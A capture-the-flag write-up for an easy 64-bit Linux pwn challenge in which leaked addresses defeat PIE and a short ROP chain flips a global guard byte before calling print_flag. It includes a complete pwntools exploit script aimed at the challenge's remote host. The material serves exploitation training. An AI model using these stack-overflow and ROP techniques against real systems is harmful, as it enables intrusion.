Easy ROP
Easy ROP
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: global_byte_write, pie_bypass_via_runtime_leaks, ret2win, rop_register_control
Summary
Task: a 64-bit PIE binary leaks code addresses and then overflows a 0x20-byte stack buffer with fgets(..., 0x4c, ...), while print_flag() is guarded by a global byte. Solution: use the leaks to bypass PIE, set rax=1 with a ROP gadget, write al into is_print_flag, and then call print_flag to print the remote flag.
Easy ROP — hackerlab
Description
Лёгкий ROP
Забери флаг через ROP 😎
This challenge is a small 64-bit Linux pwn task built around a straightforward stack overflow and a minimal ROP chain. The binary does not let us call print_flag() directly unless we first flip a global guard variable.
Challenge Summary
- Architecture: ELF 64-bit, amd64, PIE, dynamically linked, not stripped
- Mitigations: Full RELRO, NX, no canary, SHSTK, IBT
- Useful symbols:
main,print_flag,is_print_flag - Runtime behavior:
mainleaks the addresses off1,f2, andprint_flag, then reads attacker input into an undersized stack buffer
The goal is to use the leaks to bypass PIE, build a short ROP chain, set is_print_flag = 1, and then jump into print_flag().
Reconnaissance
Static recon quickly shows that the binary is meant to be solved with the gadgets it already exposes:
- a helpful string says we can control
raxandis_print_flagthrough the gadget path print_flag()checks whether globalis_print_flag == 1- if the check passes, it reads
FLAGfrom the environment withgetenv("FLAG")and prints it
Radare2 analysis identified the two relevant code paths:
f1contains apop rax ; retgadget at offset0x1248f2preloadsrbxwith the address ofis_print_flagand reaches amov byte [rbx], al ; retsequence
So the challenge is not about finding a long ROP chain. It is about using the intended gadgets in the correct order.
Vulnerability Analysis
The bug is in main:
- the stack buffer is only
0x20bytes - input is read with
fgets(..., 0x4c, ...)
That gives a classic stack overflow. The effective offset to saved RIP is 40 bytes.
PIE would normally block hardcoded gadget addresses, but main prints the runtime addresses of:
f1f2print_flag
These leaks completely remove the PIE problem. We can reuse the leaked function addresses directly in the payload.
Exploitation Strategy
The target function is print_flag(), but it only prints the flag if is_print_flag == 1.
The intended chain is:
text read-only • copy allowed[padding to RIP] [f1] [1] [f2] [print_flag]
Logic:
- Return into
f1to executepop rax ; ret - Pop the value
1intorax - Return into
f2, which eventually performsmov byte [rbx], al ; ret - Since
rbxis prepared insidef2to point tois_print_flag, this writes1into the global flag gate - Return into
print_flag() print_flag()seesis_print_flag == 1and prints the environment flag
Because only al is written, setting rax = 1 is sufficient.
Exploit Walkthrough
The exploit parses the leaks from the server banner, builds the payload, sends it, and extracts the returned flag.
The final remote target was:
text read-only • copy allowed62.173.140.174:27700
Local execution was not validated on the host because Docker failed with no space left on device, and the macOS environment could not run the Linux amd64 ELF directly. That limitation does not affect the final result, because the exploit was successfully validated against the real remote service.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import os import re context.arch = "amd64" context.log_level = os.environ.get("PWNLVL", "info") HOST = "62.173.140.174" PORT = 27700 OFFSET = 40 HOST_DIR = os.path.dirname(os.path.abspath(__file__)) LEAK_RE = { "f1": rb"f1 = (0x[0-9a-fA-F]+)", "f2": rb"f2 = (0x[0-9a-fA-F]+)", "print_flag": rb"print_flag = (0x[0-9a-fA-F]+)", } def start(): if args.LOCAL: local_flag = os.environ.get("FLAG", "CODEBY{local_test_flag}") return process( [ "docker", "run", "--rm", "-i", "--platform", "linux/amd64", "-e", f"FLAG={local_flag}", "-v", f"{HOST_DIR}:/work", "-w", "/work", "ubuntu:22.04", "./task", ] ) return remote(HOST, PORT) def parse_leaks(data: bytes): leaks = {} for name, pattern in LEAK_RE.items(): m = re.search(pattern, data) if not m: raise ValueError( f"Leak {name} not found in output:\n{data.decode(errors='ignore')}" ) leaks[name] = int(m.group(1), 16) return leaks def build_payload(leaks): payload = b"0" + b"A" * (OFFSET - 1) payload += flat( leaks["f1"], 1, leaks["f2"], leaks["print_flag"], ) return payload def solve(): io = start() banner = io.recvuntil(b"Enter your number: ") leaks = parse_leaks(banner) log.info(f"f1/pop rax ret = {leaks['f1']:#x}") log.info(f"f2/write al gadget = {leaks['f2']:#x}") log.info(f"print_flag = {leaks['print_flag']:#x}") payload = build_payload(leaks) io.sendline(payload) out = io.recvall(timeout=3) data = banner + out print(data.decode(errors="ignore")) m = re.search(rb"CODEBY\{[^\r\n]+\}", data) if m: log.success(f"Flag: {m.group().decode()}") else: log.warning("Flag pattern not found in output") if __name__ == "__main__": solve()
Final Flag
text read-only • copy allowedCODEBY{REDACTED}